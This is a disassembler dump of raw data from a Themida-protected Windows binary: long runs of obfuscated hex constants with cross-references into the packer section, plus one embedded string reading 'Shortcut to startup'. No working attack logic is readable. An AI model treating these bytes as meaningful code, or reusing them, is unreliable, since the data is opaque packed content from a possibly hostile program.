word_59D832 dw 0D247h ; DATA XREF: Themida_:00549B14o dd 0C2E2C11Eh, 5EFCE0B1h, 0F35B501h, 0C6810614h, 748Bh dd 38DBD29h, 0B80614h, 0FC000000h, 80063C8Bh, 0F781FCEEh dd 7D2E7CA9h, 31A58D33h, 0C7810614h, 66ABE377h, 263D8D8Bh dd 0F7810614h, 38D16957h, 2FB98D33h, 3C890614h, 419D0306h dd 0B106142Ch, 4E88313h, 6840Fh, 8D010000h, 6141111h, 8BE4F881h dd 850FFFFFh, 0FFFFFFB0h, 0CE8F5h, 0DB70000h, 8CC25F64h dd 7533DC1Ah, 0BD898940h, 61405B1h, 159D8B59h, 81061421h dd 6E48C1h, 1423BA00h, 0F28147DEh, 47DE0F7Dh, 150DB58Bh dd 398B0614h, 41B589h, 0F7810614h, 3D20CE8Ah, 34A59D8Bh dd 0C7810614h, 6B5A1B8Ch, 0C781DF8Bh, 52857F22h, 1870Fh dd 57F90000h, 0AE85760h, 45000000h, 0DF9FD5Fh, 0C0BAB666h dd 0FC595836h, 89018F61h, 1400ED8Dh, 3CE98106h, 0F0F5560h dd 682h, 959D0900h, 81061431h, 556038C1h, 0CE90Fh, 0B64C0000h dd 5B31BE10h, 944578h, 0EA830956h, 14850F01h, 66000000h dd 9B6CE081h, 21E9h, 637CD700h, 1CD69C28h, 8BFCBE15h, 0FF6CE9F7h dd 8562FFFFh, 0D89F0BDFh, 0B70B371Ch, 4A7AD181h db 0E8h, 67h word_59D97E dw 8D8Dh ; DATA XREF: Themida_:00548CCCo dd 6194E2Dh, 0A6CB8166h, 298D8923h, 66061432h, 0BD2BFA8Bh dd 61406BDh, 64D85C7h, 5E200614h, 0F510000h, 683h, 0C19D8900h dd 58061400h, 6810Fh, 858B0000h, 6143129h, 267185C7h, 614h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 2E9ECBC3h, 0DA81FC60h, 463D7096h, 71B5FF61h dd 89061410h, 142A398Dh, 6195FF06h, 9061423h, 141B1D95h dd 0FF006A06h, 14116995h dword_59DA0C dd 0EBC08B06h, 79F7640Fh, 8E91436h, 512E1B66h, 3935253Fh ; DATA XREF: Themida_:0054B618o dd 0B0E9h, 8C666000h, 4C2F6DAh, 0C850Fh, 853B0000h, 6141145h dd 36840Fh, 853B0000h, 6140931h, 2A840Fh, 853B0000h, 6143481h dd 1E840Fh, 853B0000h, 61431FDh, 12840Fh, 0BD830000h, 6142C59h dd 5840F01h, 0E9000000h, 5Fh, 5203D08Bh, 88BA8B3Ch, 8B000000h dd 0C985784Ah, 49840Fh, 0C2810000h, 0F8h, 30C728Bh, 1C598BC8h dd 314518Bh, 850B8BD8h, 10840FC9h, 3B000000h, 17820FCEh dd 3B000000h, 0F830FCFh, 83000000h, 0F4A04C3h, 0FFFFDC85h dd 0DE9FFh, 9D8D0000h, 6144D79h, 5B8h, 61E3FF00h, 8DD00BC3h dd 142E5D9Dh, 2AB806h, 85890000h, 614265Dh, 0E8h, 0D055800h dd 89000000h, 2AE903h db 2 dup(0) word_59DAFA dw 0 ; DATA XREF: Themida_:0054BA3Co dd 9 dup(77E6h), 0FFFF77E6h, 14E8h, 0F9144600h, 0B2362F96h dd 9A08DD03h, 8A2B001Fh, 6CC5DF6h, 5E36B4FCh, 0C681E78Ah dd 69E8h, 4E68C38Ah, 5300001Ah, 1C84C381h, 5A587584h, 14E9h dd 0FC8A0900h, 0D79C3717h, 3D91358Dh, 74048140h, 0B460853Dh dd 0E93E8B21h, 0Ah, 222462D8h, 33F04211h, 0EF8178C9h, 501DA5D9h dd 8E9h, 77EB7E00h, 67BAE7F9h, 55EF8174h, 8B62D571h, 0F2F781CFh dd 667DD0EAh, 89883ABBh, 7E93Eh, 0C40000h, 0FF662426h dd 1EE8316h, 4EC6D980h, 66604E4Eh, 66007EBFh, 4A61DA8Bh dd 0FFA3850Fh, 6660FFFFh, 0F29CCA81h, 8A0F52h db 0 byte_59DBD9 db 2 dup(0), 5Ah ; DATA XREF: Themida_:0054A294o dd 74E961h, 117A0000h, 68537E19h, 6374726Fh, 74207475h dd 7473206Fh, 75747261h, 70h, 16h dup(0) dd 69E90000h, 6800000Fh, 6195219h, 0FBF641E9h, 535668FFh dd 37E90619h, 68FFFBF6h, 61954BAh, 0FBF62DE9h, 54F968FFh dd 23E90619h, 68FFFBF6h, 61955B9h, 0FBF619E9h, 566B68FFh dd 0FE90619h, 68FFFBF6h, 6195A92h, 0FBF605E9h, 5D1568FFh dd 0FBE90619h, 68FFFBF5h, 6195E5Ah, 0FBF5F1E9h, 155DAFFFh dd 98D23044h, 1D4DB3C7h, 9FC9384Ch, 264CBACEh, 0AE9B4055h dd 35491A58h, 0BDD1A2CEh, 43572848h, 79DBACBCh, 4A049834h dd 29873046h, 0C489ECE4h, 0A3DB9570h, 659EF52Ch, 4226D9E7h dd 0AEBA4589h, 0F0F109DDh, 2AA8912Dh, 3CCD3410h, 0F18D1083h dd 3041295Dh, 8A164FE0h, 304129F2h, 5B0660C6h, 6FA748B8h dd 65ABh, 56AAAD00h, 5FF38FAFh, 0DA2A2CF9h, 7D80B849h dd 0B3AC10CCh, 2F474B84h, 96CF6B2Eh, 0DB341103h, 912FBEA3h dd 0B0E80252h, 0EF12123Fh, 0F1B445AFh, 0CE07639Dh, 0E141D965h dd 33D33041h, 0C042863Fh, 0B3C9F1AAh, 115FA4B3h, 0AEC82E80h dd 71CD368Ah, 41E141D5h, 9A2BBC30h, 2D67A0E1h, 6FA8038Ah dd 0B87Dh, 26D97F00h, 0C2168942h, 0AEF22B3Dh, 1D611A58h dd 89CD86E2h, 0C521F276h, 2A2C0676h, 9A6BFD02h, 6CFC0357h dd 0F53972B3h, 32A55E0Ah, 0FD7F13AFh, 69FA2A2Ch, 13142C30h dd 23E3B450h, 0D5663410h, 7C9C104h, 0CB5FFBF4h, 4E30410Ch dd 4ABE85BDh, 41D29669h, 0EBEC0408h, 2D2A8C28h, 0D0613A28h dd 254DB90Dh, 0ACC64054h, 0BB46BCE3h, 9CEA65E0h, 0D1Eh dd 87581AF2h, 0ADB8F73h, 8F600AF6h, 11E2867Bh, 986909FDh dd 15F15E83h, 8B788C5Dh, 50014E5h, 79869A6Bh, 77BC1EEFh dd 464C47DBh, 1464C230h, 82452DD9h, 0DC95D32Eh, 0CDE1629Bh dd 9ED23332h, 4213A4E5h, 0CE0119F4h, 2CF99E32h, 0FF90212Ah dd 2067A03Ch, 76CA3410h, 0E92AE38Dh, 7C0B055h, 0A93A8DC6h dd 13CC64F0h, 3AA03041h, 8A04FC3Ch, 2DBBDBC3h, 0E78AC4FDh dd 0DA6FA7ADh, 0F6h, 4226D9DCh, 94D42B7Fh, 58AEF25Bh, 214E6E73h dd 0ED12369Fh, 0F081C27Bh, 0EC7A95Ch, 81793CCDh, 7D882691h dd 0C1F93AF3h, 23B326E0h, 97C4EEB9h, 56EA738h, 2CD52A79h dd 97D12E2Ah, 0E94DB2C6h, 2DC4B94Dh, 5FA0342Ah, 7E0F5009h dd 2CD62AEDh, 0BC9D853Eh, 0A013D75Dh, 0EA538C1Dh, 8BDF2377h dd 545891D2h, 0A2CB383Ch, 14550E64h, 932FF283h, 3410F6C2h dd 9ACE33C7h, 4C643809h, 0CF34884Bh, 0C73FD36Fh, 29BA3041h dd 659EDF98h, 82E556F2h, 97283A28h, 21B551D4h, 0AB2A2F73h dd 0AC6F1256h, 2F727C10h, 0DD6EFF2Ah, 29DD31A4h, 0A2647849h dd 0F49E07D0h, 9C17E0BBh, 0BE14Eh, 95DD2F00h, 1852B0C4h dd 9DCD3347h, 1F49B8CCh, 0A6CC3A4Eh, 2E1BC0D5h, 0B5C99AD8h dd 3D51224Eh, 0C3D7A8C8h, 0F95B2C3Ch, 4C8418B4h, 0A9073046h dd 452DD959h, 0C99F6074h, 26D9AAF8h, 0BA458942h, 0F109DDAEh dd 912DF0h, 85341025h, 17AF3BF4h, 0EB30411Dh, 0DD80E185h dd 8A6FA73Fh, 0A6D6D792h, 114A86D2h, 7E4h, 37CFE600h, 0FF000008h dd 3D000119h, 0B7CA2C45h, 0A8E0A096h, 2AA953E8h, 0E45790BAh dd 10EDF748h, 20D96A34h, 744523DCh, 2229F60h, 0BDF2D317h dd 87FAB344h, 110B7E8Fh, 8CC5F96Fh, 0F4F18E00h, 3D398D99h dd 0D093D52Ah, 2DE6847Ch, 9A5317E9h, 0E8FC859h, 0AA6305FAh dd 7DE7851Eh, 7EF85C8Bh, 0B64F16E9h, 51393E13h, 0D9E5684h dd 867F1354h, 748859EAh, 0B124DD8Bh, 0FC8A85Dh, 6C0995CEh dd 9A8B7D47h, 4AB5A2C4h, 0C6394D1Eh, 520B679Fh, 0C3C78011h dd 4BE7AAABh, 0D2BFCAFAh, 0E40DDE6Fh, 40415925h, 0B020E17Dh dd 9425CCCBh, 680487BCh, 0C8DC84D4h, 18DC657h, 0AACD64D6h dd 0ED1D2EAh, 0CF92AD72h, 46FF9074h, 0BA822A42h, 0F752CBD8h dd 9DD330C4h, 4F12A3E4h, 0BEA970B3h, 9A36B97Ah, 6AE9A906h dd 6CBFF889h, 3BC418DBh, 0B7485C2Dh, 2285E8B1h, 8B06A005h dd 0A7D3Dh, 0F9799300h, 7CEE1428h, 16997ABh, 83E51C30h dd 0A689EB2h, 92FF2439h, 192DFE74h, 0A1B586EAh, 273B0C64h dd 5DBF90D8h, 4DE87C18h, 5633046h, 4226D9B5h, 0B98D0479h dd 0A8F671E0h, 0A3Eh, 67383AD2h, 0EABBAF53h, 6F402AD6h dd 0F1C2A65Bh, 784929DDh, 35D1BE63h, 0AB586C3Dh, 25E0F4C5h dd 99667A4Bh, 579CFECFh, 464E27BBh, 0F444A230h, 894226D9h dd 0E37FC145h, 2A2CF94Fh, 0A04327D9h, 84AD7E0Fh, 0E0E1F985h dd 1FC0811Dh, 34C53410h, 87E31D71h, 8B558DCEh, 0B511FA33h dd 0DC2AB2EBh, 0EE7E4987h, 75383951h, 0CF88E021h, 6709FA8Eh dd 0C1346DAEh, 0B9DA6025h, 934CDDFBh, 3937CC20h, 0E3E4FC00h dd 0B418420h, 0B748F5D1h, 625FA0F4h, 75944AC1h, 0F13C2003h dd 0D6897CB4h, 9C1FE273h, 0D7E56C00h, 9B5EEFF1h, 0D7E56BFFh dd 245DEEF1h, 0F8708FA3h, 1361402Fh, 98E66127h, 97Eh, 27F87A92h dd 0AA7BEF13h, 2F006A96h, 0B182E61Bh, 3809699Dh, 7591FE23h dd 0EB182CFDh, 65A0B485h, 0D9263A0Bh, 175CBE8Fh, 464EE77Bh dd 0B4046230h, 7F4226D9h, 0DA93D72Bh, 0B3F76099h, 0BC50EC52h dd 3F2A2CF9h, 591256ABh, 33F68718h, 0BB4423DFh, 22631CADh dd 580C68E9h, 0F32A2CF9h, 4D06629Fh, 0B7CFD30Ch, 1C70F3B6h dd 8BCC85E3h, 4A2FC652h, 368A3415h, 46679FC9h, 0C48C0982h dd 69FA4D86h, 0BBAD52A6h, 665BA4F8h, 0D3F129A4h, 0DF9829B8h dd 0D0E4659Eh, 3C80392Fh, 46DA76CAh, 0C93046C8h, 0AAEEA738h dd 34C155Bh, 2CE6A043h, 8CC63B1h, 0C8440000h, 3DC5D9AAh dd 0B8485C2Dh, 34CDE1B2h, 0B74F6334h, 20D5EABBh, 0DEAFC343h dd 663739CAh, 0ECBDB352h, 704127D8h, 992DC90Eh, 1430464Fh dd 26D966B6h, 0C2168942h, 2D1A843Dh, 1514236Bh, 518ACB84h dd 0B376F20Dh, 7C009430h, 0EA7B2A2Dh, 8AC3AD56h, 4525DD21h dd 0B2B8488Ch, 0D096FAF9h, 5FF07887h, 9DCAAC10h, 2B350662h dd 69939E88h, 51D7Bh, 1197D00h, 0AA13D00h, 8F34154Ah, 18E73BFEh dd 8DAB7F50h, 804FDB94h, 5AA7D1BDh, 4CEF72F4h, 3FE90854h dd 54h, 2FB1941h, 0FA0FA33Fh, 0F98A2A2Ch, 67E0B440h, 9C6A4AC3h dd 27D91DD6h, 0F3ACC640h, 246821B2h, 96D790E2h, 0E1471F03h dd 945BB145h, 0A9B2C4Ah, 4D1452B8h, 89FA7AAAh, 6BFF0357h dd 0B3871B2h, 10h, 26E22018h, 0F82C7EB3h, 49CF41BFh, 0FF000002h dd 3F02FB19h, 0F98C20BCh, 737A2A2Ch, 6D8A228Ch, 95CE5F02h dd 93D1A02Ch, 43A9A1B8h, 669B3E23h, 278EE2FFh, 90000000h dd 4902FB19h, 0B86E55BDh, 0C3A309A1h, 0FF84FB9Eh, 0AC54A8E2h dd 30C405BEh, 315E97D1h, 81h, 5416EA3Eh, 0FB199D1Bh, 15EB3F02h dd 0DA91C55h, 2A2CF979h, 21B551D4h, 9C2A2CFAh, 0EE7FD20Bh dd 422ED72Bh, 0EB5FD909h, 0A5F9EE0Ah, 40D40D5Dh, 5B983B26h dd 468B6993h, 8D000000h, 1B66B2AAh, 4673EC17h, 0F1E860Eh dd 82BB2681h, 0A467607Eh, 2D577208h, 8768F92Ah, 0C184A95Eh dd 0DC85B5C9h, 4D8E4729h, 0A3F1F15h, 77B871F7h, 5D19ADE6h dd 938C7114h, 76469h, 0CF660000h, 180h, 0C2B2AAFFh, 2E47933Fh dd 0EE821EE1h, 712A2D91h, 0D59A7E0h, 89000001h, 4902FB19h dd 0DC44FABDh, 3C3AA085h, 49DD79FCh, 0C47F7D3Dh, 1DC0FA33h dd 10BEE35Bh, 0C8h, 6AFE9A1Dh, 0F47F7D34h, 61A25B0Dh, 76F42DBEh dd 0F78B27AAh, 0DD2A2CF9h, 25127583h dd 0CB5CFF8Dh, 77708E92h, 0B38418B4h, 0EFE72A2Dh, 5548C01h dd 2425901Eh, 71D84758h, 0C354A7E0h, 13067E0Ah, 74DA4A0Dh dd 0E1CC6FF2h, 257989B3h, 27548DDDh, 50h, 922EB134h, 4A4DB2FEh dd 8014F081h, 0FB4A4DB2h, 0AAB3316Ah, 8C1AF56h, 9E2F41C4h dd 4A436165h, 0F957EB87h, 41D22A2Ch, 2A84FC88h, 13589D0Ch dd 0A8CA3C90h, 3ED2AEEFh, 0C1974D27h, 363F730h, 0B345BB5Eh dd 2AAED6h, 67BB0000h, 1795CE9Ah, 0F78B27AAh, 722A2CF9h dd 0B94A28DEh, 923280h, 756D0000h, 45E17319h, 2A2DA4B1h dd 0F3639B2Ch, 2EACE5E7h, 0BCA956AAh, 2E6F284Ah, 6AA3E49Dh dd 0D68FD926h, 2CF9B14Ah, 6ABE032Ah, 0DC1DD69Ch, 570FA3h dd 4A9869FFh, 0F78B27AAh, 722A2CF9h, 0C199143Ah, 52E3E9A9h dd 0FEF71519h, 881CB83Bh, 32A2D7Ah, 65A83972h, 4A820B6Dh dd 2B643830h, 7A3DF0D2h, 0DA93DD26h, 0AACC6099h, 2C0A9775h dd 58FA842Ah, 3699325h, 0FE50E480h, 3ACB2A2Ch, 0B7B8A602h dd 3069A40Fh, 0FFFE9F03h, 5BCF05FFh, 0FF000002h, 0F78B27AAh dd 722A2CF9h, 0F97F13AFh, 69FA2A2Ch, 6BB8A0D8h, 0FC091689h dd 0E8807FC3h, 5414EB2Fh, 9697AF83h, 674E37D3h, 22B33410h dd 745DD69h, 0B3193041h, 250BAEB3h, 48FE6FA7h, 0B000000h dd 0E81E49B7h, 5840F98Ah, 5C90CCFDh, 0A43D498h, 1198Ch dd 9C2BA3Dh, 0C893DC9Ah, 0E70315FEh, 59D4DFAFh, 0A85B9420h dd 0E61E3410h, 675B0A0Ah, 8740D1ABh, 419463FBh, 95D13730h dd 0A7B729CCh, 0C11C6Fh, 0D91E0000h, 0A6C23F26h, 1256A9EDh dd 0F337F081h, 489C5F13h, 0BAFBB4BEh, 22A51881h, 7D3634CEh dd 0F9CC603Ch, 932F2A2Ch, 2A2CF9FFh, 0B546E97Ah, 0A1C7387Ch dd 0D5BA4E8h, 591E03Ch, 58A72A2Ch, 0BB74F40Dh, 0D518E97Ah dd 35EE8281h, 9FB7BBF4h, 483FDB9Eh, 913413BAh, 1DE93D00h dd 96708455h, 3DD013DCh, 7EF9E6AFh, 4A530h, 0D1A16B00h dd 5416EC00h, 0D9916F83h, 5B0DF408h, 0E290768Ah, 6AC7FC11h dd 0F105D69Ch, 798D5E12h, 0FF13E48Ch, 35976800h, 53C054F0h dd 0DD3B3046h, 452DD98Dh, 0C99F6074h, 194FB206h, 0BD51ED60h dd 402A2CF9h, 64E51EAFh, 20E32921h, 0AC3AD56h, 6E8C91C9h dd 0D9EF6DA6h, 0FC7F4226h, 2CF9CC60h, 0FBBE4F2Ah, 2CF9CB5Fh dd 84BD4E2Ah, 4028D71Bh, 82839B6Fh, 0D8986BBFh, 3F902C9Fh dd 4234101Ah, 0D26CF8B1h, 0AD304119h, 627A2D49h, 0B1029E61h dd 0B43A2439h, 667E5223h, 0FA039733h, 6A952A2Ch, 610445FEh dd 0E07C3FD0h, 34154949h, 287C3FD0h, 96D790DAh, 6A96EA5Dh dd 1AE93D00h, 599C1D56h, 49A63AD6h, 0C7383046h, 346DFEA1h dd 464A16A8h, 0E9196D30h, 5A16ED81h, 4828DD21h, 545977h dd 91890000h, 2A2CF9F9h, 0E4B5ACCBh, 813A30D0h, 2CF961F5h dd 5414EB2Ah, 1BAE579Bh, 90BC11D9h, 9E57E807h, 2F3B3B9Fh dd 63C5A1B7h, 417AF60Fh, 966703FDh, 34ED8382h, 2DB90FA8h dd 964A12Ah, 7ABB74FCh, 14EC30E9h, 3A9E9D56h, 0D97D2E3Ch dd 353BCA9Dh, 2CD91664h, 0BE478B44h, 4CB5F9B2h, 54F0631Ch dd 2A2CF9C0h, 0EF16AA3Bh, 0D92DC881h, 1A7ECD9Dh, 76FA0B5Ch dd 14AD49A5h, 0E8722A2Ch, 69932A46h, 0FFFF7A37h, 56AA39FFh dd 0C506BFA9h, 0B1B7488Ch, 1D4BB4F8h, 5F60784Ch, 0DBE489Ch dd 0E3B5C8BEh, 0FC859AEh, 862295CEh, 3411109Dh, 0A964FE0h dd 3041CF72h, 0DB86E046h, 6FA7EE38h, 4B2Bh, 1192D00h, 1CE93D00h dd 8356B0ADh, 52E36B29h, 0C2AE5599h, 0FE37C809h, 0E985088Bh dd 2A2D9455h, 820E47D8h, 3410BB49h, 36C27B0Ch, 30417A9Eh dd 0CE6A0C72h, 0ACE58B7Ah, 0A79DCF72h, 0D7C26Fh, 0D7CF0000h dd 5BD4D241h, 1694CD71h, 259B26D9h, 84470E1h, 246CD6F5h dd 761486ECh, 1EE82CE5h, 0C3999154h, 96E1D2DDh, 75B9225Bh dd 0E125DE8Ah, 1D794A1Eh, 2A2CD1CEh, 0D03035CAh, 0C346099Ah dd 2DC19327h, 4C85162Ah, 0CC3488CBh, 4902669Bh, 7DBE7708h dd 69FF0044h, 9394ACB0h, 0F1DB34D0h, 0CA5E3410h, 0D2A33436h dd 76C83B8Fh, 41F246DAh, 0A738C930h, 78ECC56Fh, 0C801CC37h dd 0E8ABACC4h, 28AB534Ch, 4205963Ah, 0AE5718EEh, 37C809C2h dd 0BEB45266h, 0BBC0E8F5h, 0FC4AC5E0h, 222h, 83541EEEh dd 6D7936Fh, 8B5C0EF2h, 0DDE8A77h, 94650DF9h, 19ED5A7Fh dd 8F748859h, 9FC10E1h, 7D829667h, 73B81AEBh, 465743D7h dd 1868C630h, 74452DD9h, 0F8C99F60h, 0A956AAAAh, 2C506BFh dd 2CF9D266h, 83BC4D2Ah, 0A366677Fh, 0D06505ABh, 398DFFh dd 0D4B8F18Dh, 29BD3410h, 98D992D6h, 2AC24E07h, 0FE3041A9h dd 69A36B9h, 983041A9h, 7480167h, 69AD364h, 0A945C860h dd 3041A915h, 94CE0798h, 6FA7CBF1h, 0FBE4h, 26D9E600h dd 0C1458942h, 0FB3F7A0Ah, 0BCC8C78Dh, 8B604D52h, 0FFB849DAh dd 2C412473h, 0E682052Ah, 2A2D3852h, 0A4CC39CDh, 0E019AAEBh dd 0FF02639Ch, 0DE6FB069h, 6206F90Dh, 0BBB336A9h, 0EE898DC6h dd 0B4482429h, 372A2D09h, 7B0C5CA3h, 25263E42h, 3BCF6A62h dd 21CA189Eh, 90D18ADEh, 0B753C6FFh, 3411245Eh, 0D8906FC3h dd 0BB4ADE1Fh, 82BBFCB5h, 0F9CD9E2Fh, 9A1DE0E1h, 0C3E77B17h dd 0D1623041h, 41C361F5h, 884BDC30h, 41C358ECh, 942D330h dd 7F20FA96h, 92233A28h, 0E48B7BCFh, 4E924B1Dh, 0BCFDB6B4h dd 0B5C99A2Bh, 86E41E51h, 0F3052CF5h, 0F36EE0BBh, 0DDA5h dd 99D93300h, 1C4EB4C8h, 0A1C9374Bh, 2345BCD0h, 0AAC83E52h dd 321FC4D9h, 0B9CD9ED4h, 4155264Ah, 0C7DBACC4h, 0FD5F3038h dd 57881CB8h, 0A5033046h, 452DD955h, 0C99F6074h, 9632B5F8h dd 2A2CFA02h, 35B3EC7Dh, 7F4226D9h, 0F9CC60FCh, 0AFBA2A2Ch dd 0A92F5E54h, 2059EA8Dh, 0DC8C73B7h, 8E74C80Bh, 0D27A0EAAh dd 64F52A2Dh, 7E969AD3h, 3F37BA7Dh, 91009E6Dh, 0C6528B05h dd 3415872Bh, 0C436968Eh, 336BFF03h, 1A532BD9h, 397D36C7h dd 0BDD1A2C6h, 0E16D2642h, 0A845ABCDh, 76B2B408h, 548DE322h dd 0A879EF10h, 44FD6B94h, 0AE670100h, 61F67086h, 0B6F9CA9Eh dd 91CAA062h, 0FDB6B24Dh, 1DAFh, 0CB67EA00h, 0A8462837h dd 978CFC1Dh, 0F396D49Ch, 0ABAB2962h, 45602E26h, 0E0BA4A15h dd 33D929A7h, 0BD42863Fh, 57AEF2ABh, 0E71C6019h, 7A8CD089h dd 0BFB3FF8h, 976AAE67h, 2CD418D1h, 0C141853Eh, 68EAF0A9h dd 92Dh, 50243C89h, 405E089h, 2D000000h, 4, 5C240487h dd 51242C89h, 0C181E189h, 4, 4E981h, 0C870000h, 3C895C24h dd 2ABC6824h, 3C890000h, 50D6BF24h, 0FD890619h, 4EC835Fh dd 81242489h, 42404h, 535F0000h, 0B850EB89h, 8, 1889F801h dd 3C8B5B58h, 0E2895224h, 4C281h, 0C2830000h, 24148704h dd 2434FF5Ch, 4C4835Dh, 0FBE6EDE9h, 28758BFFh, 0C9D18EEEh dd 38530E1Eh, 195F5CB8h, 0FFC50306h, 0F73981E0h, 0E6BBA772h dd 91A36D03h, 6B99F959h, 968D8D16h, 0F061960h, 28Bh, 89DE8B00h dd 1432298Dh, 0F9952906h, 0C7061431h, 14064D85h, 5E6C06h dd 6830F00h, 8B000000h, 14039985h, 7185C706h, 61426h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 98B5C356h, 458D899Ah, 0FF061408h, 1402E1B5h dd 299D8B06h, 0FF06142Dh, 14236195h, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0CB7A8894h, 6AD466h, 116995FFh db 14h byte_59EC75 db 6, 8Bh, 0C0h ; DATA XREF: Themida_:00549424o dd 0F0B21DEBh, 1BB87043h, 0F4451808h, 3B23E42Fh, 6EB95786h dd 3326C5Fh, 74C2375Dh, 0E97139A3h, 18Eh, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Bh, 40C35646h, 0A7FDD57Bh dd 0F80CA3D9h, 6174B58Dh, 8C0F0619h, 1, 12858DF5h, 0F06174Ch dd 108Ch, 5E96000h, 0D0000000h, 38F88672h, 0FCE4BF66h dd 6AD0FF61h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 1929C350h, 0E94D6B3Ah, 830F64F7h dd 13h, 0E95F5160h, 0Ah, 0CE4A5836h, 0E5FA750Dh, 0FC6104DCh dd 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 7280E7EFh, 7A6E1AD6h, 66DD8A60h, 6661C28Bh dd 880FD98Ch, 0Bh, 6E9h, 5C3B8100h, 60144F50h, 8E9h, 0A2D7BB00h dd 0E76833E1h, 80BF6663h, 0C1F661AAh, 60840F04h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0B8ADC351h, 5830Fh, 66600000h, 8B61CB8Bh dd 32CB8BFBh, 0FD75AEC0h, 0D9F7CF2Bh, 0D78BF92Bh, 0EBD98B49h dd 3F20CD00h, 0B000101h, 8D1874C0h, 0FA8B0C70h, 75A6CB8Bh dd 0FA75490Ah, 1B8h, 8B09EB00h, 0B8E4EB00h, 0 dd 13E9CFh, 1550000h, 6AA34FB5h, 0B750342Ah, 7072DACh dd 647B8181h, 815160FDh, 23617C1h, 820F5A35h, 19h, 13E8h dd 13782900h, 40719D45h, 0F9B438B5h, 0BEFDC2F6h, 0C65C1114h dd 85C7615Fh, 61961E4h, 1013Fh, 10E8h, 0EA18C700h, 0ADD61F80h dd 9146B24Bh, 4B0DFCA8h, 0C9B70F52h, 9AD38158h, 81256BB5h dd 5F62C0h, 14E96000h, 40000000h, 3E03A5A3h, 0B6E9EAF3h dd 90EEF2CBh, 251F2509h, 0E8AFB655h, 0Eh, 0B8C8C1C4h, 10616303h dd 0DCF414F3h, 6160E985h, 0FF336159h, 2860F60h, 60000000h dd 8B61F961h, 0F2813814h, 458E5E70h, 5CF281F9h, 604174D5h dd 820F51h, 5A000000h, 0F28161F5h, 4A58BA77h, 18D0Fh, 89F50000h dd 14E93814h, 0B000000h, 0EF26CDBFh, 81146E4Ch, 20208290h dd 0F87471Eh, 0F9D9C54Dh, 54ABEF81h, 0C7814E74h, 4E7454A7h dd 0FF81D4B1h, 0FFFFA168h, 0FFA1850Fh, 0CE9FFFFh, 0F2000000h dd 0C23A0662h, 0C6E15F99h, 0EBE36EB5h, 60h, 17h dup(0) dd 0B66E900h, 5AE90000h, 6800000Bh, 6196B4Eh, 0FB1A82E9h dd 6CC868FFh, 78E90619h, 68FFFB1Ah, 6196D36h, 0FB1A6EE9h dd 0A718C4FFh, 625B7855h, 1C9F3310h, 0D1E8EDCAh, 8835A27Fh dd 0F5BBFD36h, 0AC89DBE2h, 65429425h, 1DFA4C73h, 0A4B002B9h dd 4B30161Ch, 4944580Bh, 0FABF12E2h, 0FDD4DF4Eh, 498D6ABCh dd 1FB9C672h, 24ECF4A0h, 0F1E8381Eh, 646F4C51h, 8792C159h dd 0EB1DBA4Ah, 8B37CFEAh, 0E2EF9B33h, 0FDC013F5h, 0FF9728B0h dd 2C914653h, 57627380h, 2D6A3ABh, 4F838EBDh, 20B3C06Ch dd 77E5F19Dh, 20B27FC7h, 32874E9Bh, 0F9FF2E86h, 0E84AE3F3h dd 0DB234B57h, 4B270D13h, 133B580Bh, 0C211DEE4h, 63CDA9FBh dd 4EE6D3FEh, 64713E06h, 0E8E22655h, 14580B4Ah, 0A33340ECh dd 170DC618h, 84308D4Ah, 0E4F2FD2Ch, 0ABB3AED7h, 16C2F7DEh dd 56EECD09h, 0AB134027h, 540DD2FBh, 63494F17h, 7751F1E8h dd 0C1B4204Fh, 5D01EDE5h, 52h, 6F508855h, 0D908B522h, 0FBAB13F2h dd 2B1117D2h, 3F51F1E8h, 107CF17h, 51F1E81Bh, 0F1D8072Fh dd 54824F17h, 17513867h, 433884Ah, 9BE3DAF9h, 5C715C4h dd 0F20019FFh, 0AE052D51h, 4D7CE824h, 17691066h, 0B8F12F40h dd 52817721h, 2F46h, 0AB139D00h, 1117D2FBh, 51F1E82Bh dd 649A3954h, 5E9079BFh, 2AE4697h, 17E912AAh, 0FCC1126Eh dd 0E6ECB4h, 1451F1E8h, 86399FECh, 69107057h, 11674017h dd 45F1CE0Ah, 61E896EDh, 61CFD908h, 0B06F75BDh, 6657E61Bh dd 6A4C923Eh, 755806FBh, 0C99C3753h, 35F8D8DEh, 1E7h, 3EA9134Ch dd 8039C7Eh, 0B80098D0h, 0F276B4B2h, 39996651h, 4F7ED682h dd 0EFF7A3CBh, 0AA4C4918h, 53829E66h, 777D8E48h, 51F23C91h dd 93E57DA5h, 0D8E5EEBBh, 4F17C2A9h, 0F1E86349h, 204F7751h dd 0D1FAC115h, 4A17CAB3h, 0E0E62E8Bh, 51F1E7FAh, 0ADB7E60Eh dd 0D6C9545h, 0E5C4B154h, 0E3BA01EDh, 0E7560677h, 0E64C7B7Eh dd 49h, 2A1016DEh, 3E54F1FDh, 1300E716h, 0E6B3FBABh, 0B59CCBF0h dd 0E82B1117h, 173F51F1h, 874F17EEh, 0F1E79B81h, 3A87AF51h dd 1E762297h, 0C11208EFh, 4A17D3FCh, 7B832F8Ch, 0F1E78F75h dd 0E37BA351h, 1100A7B4h, 22h, 0FBAB1368h, 824F17D2h, 0F4386754h dd 51F1E80Eh, 17A8D137h, 0FCC1126Eh, 8B4A17D3h, 0FB2A822Eh dd 401747EEh, 391BA64Ah, 5448F8F7h, 3D42A3A9h, 26C76A5h dd 95410E56h, 29F1F726h, 9945765Ch, 0DE76478Ch, 4B7A4191h dd 0F28A1507h, 6D194151h, 45907660h, 0D18ADC74h, 63494F17h dd 7751F1E8h, 0A8AF84Fh, 1E5C7E6Bh, 19F2E4EFh, 0F2142D13h dd 0D95A4151h, 0BEC19A79h, 88B149E1h, 4017CAB3h, 9F4543BCh dd 0A0DA310Bh, 727081FAh, 0AF172150h, 4017D6FFh, 6B05207Ch dd 74459050h, 0A9D870C8h, 0C4B1E099h, 0BA01EDE5h, 29D5E4EDh dd 20167AD1h, 0BAF62AD3h, 3E258Bh, 173C0000h, 8632874Ah dd 0FAE0E62Eh, 0E51F1E7h, 45ADB7E6h, 11176C95h, 